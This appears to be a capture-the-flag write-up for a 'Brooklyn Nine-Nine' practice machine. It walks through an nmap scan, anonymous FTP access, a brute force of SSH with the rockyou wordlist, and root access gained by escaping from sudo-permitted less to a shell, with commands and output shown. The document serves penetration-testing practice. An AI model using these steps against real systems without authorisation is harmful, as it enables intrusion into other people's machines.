WriteUp

As always we start by running nmap command wich is allows scanning a system to find all open ports and services.

Inspite of port 22 and port 80 we have the ftp port is open which is interesting because as we see it allows anonymous login(-A option in nmap stands for aggressive mode, that's why the anonymous login has been discovered).

So we need to login to that port and we have a file to download it(note_to_jake.txt)

After downloading that file we need to read it, maybe for some important information.

```
root⊗kali)-[~]
# cat note_to_jake.txt
From Amy,

Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine
```

Indeed, Jake had a week password so maybe we can brute force it, and hopefully this password is in the rockyou list.

as we know from nmap, ssh is open.

```
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```

Nice!! We found his ssh passowrd, so we can login with these credentials.

Oh YES!! now we have a shell.



let's escalate our privileges, as always we start by the common ways(sudo -I, find / -perm -04000,...)

```
jake@brookly_nine_nine:~$ sudo -l
Matching Defaults entries for jake on brookly_nine_nine:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/shin\:/snap/bin

User jake may run the following commands on brookly_nine_nine:
    (ALL) NOPASSWD: /usr/bin/less
jake@brookly_nine_nine:~$ |
```

After running that we can run /usr/bin/less with sudo command, let's check that in https://gtfobins.github.io/# and see what we can find.

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo less /etc/profile
!/bin/sh
```

and of course we have something, so let's try that and see we can become root.

```
jake@brookly_nine_nine:~$ sudo /usr/bin/less /etc/profile
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# |
```

Good job!! We have successfully pwned these machine

